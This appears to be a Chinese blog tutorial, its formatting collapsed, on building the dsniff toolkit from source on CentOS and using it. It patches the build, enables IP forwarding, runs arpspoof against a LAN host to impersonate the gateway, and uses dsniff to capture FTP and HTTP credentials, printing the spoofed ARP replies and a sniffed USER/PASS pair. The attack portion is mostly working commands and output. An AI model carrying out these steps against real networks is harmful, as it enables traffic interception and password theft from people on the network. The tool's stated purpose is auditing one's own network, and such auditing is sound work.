dsniff是一家集工具为网络审计和渗透测试dsniff,filesnarf,mailsnarf,msgsnarf,urlsnarf,webspy被动监测网络的数据(密码、电子邮件、文件等)。arpspoof,dnsspoof,macof方便截取网络流量通常不能攻击者(e。g,由于第2层交换)。sshmitm和webmitm实现主动的猴子在中间攻击重定向SSH和HTTPS会话利用弱绑定在特别的PKI。我写这些工具与诚实的意图——审计自己的网络,并证明了大多数网络应用协议不安全感。请不要滥用这种软件实验环境centos-5.5使用软件openssl-0.9.7i.tar.gzlibnids-1.18.tar.gzlibpcap-0.7.2.tar.gzlibnet-1.0.2a.tar.gzdb-4.7.25.tar.gzdsniff-2.3.tar.gz软件安装 ?12345678910111213141516171819202122232425262728293031323334yum install -y gcc gcc-c++ flex bisontar zxvf openssl-0.9.7i.tar.gzcd openssl-0.9.7l./configmakemake install tar zxvf libpcap-0.7.2.tar.gzcd libpcap-0.7.2./configuremakemake install tar zxvf libnet-1.0.2a.tar.gzcd Libnet-1.0.2a./configuremakemake install tar zxvf libnids-1.18.tar.gzcd libnids-1.18./configuremakemake install tar zxvf db-4.7.25.tar.gzcd db-4.7.25/build_unix../dist/configure --enable-compat185makemake install tar zxvf dsniff-2.3.tar.gzcd dsniff-2.3vim arp.c 11 #include "config.h"添加 #include "memory.h" 11 #include "config.h"12 #include "memory.h" ./configure --enable-compat185 --with-db=/usr/local/BerkeleyDB.4.7makemake install设置vim /etc/sysctl.conf 找到 net.ipv4.ip_forward = 0 修改 net.ipv4.ip_forward = 1 sysctl -p 修改生效,无需重启系统cp -p /usr/local/BerkeleyDB.4.7/lib/libdb-4.7.so /usr/libcd /usr/local/sbin;ls 如果有dsniff,既为安装成功到此为止dsniff,安装成功了。使用方法使用 arpspoof 对目标机实施ARP欺骗攻击arpspoof -i eth0 -t 192.168.0.103 192.168.0.1 192.168.0.1为伪装网关地址0:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e30:c:29:2f:29:e3 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at 0:c:29:2f:29:e3c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90c8:3a:35:24:ef:90 0:c:29:e1:7c:52 0806 42: arp reply 192.168.0.1 is-at c8:3a:35:24:ef:90使用 dsniff 取得指定端口的数据信息dsniff -i eth0 -t 21/tcp=ftp,80/tcp=httpdsniff: listening on eth0-----------------08/06/13 10:12:35 tcp 192.168.0.103.3043 -> 192.168.0.102.21 (ftp)USER anonymousPASS [email protected]这是一个口令嗅探器,可以处理的协议类型包括:FTP,Telnet,SMTP,HTTP,POP,NNTP,IMAP,SNMP,LDAP,Rlogin,RIP,OSPF,PPTP,MS-CHAP,NFS,VRRP,YP/NIS,SOCKS,X11,CVS,IRC,AIM,ICQ,Napster,ostgreSQL,MeetingMaker,CitrixICA,Symantec,pcAnywhere,NAISniffer,MicrosoftSMB,OracleQL*Net,Sybase及MicrosoftSQL认证信息
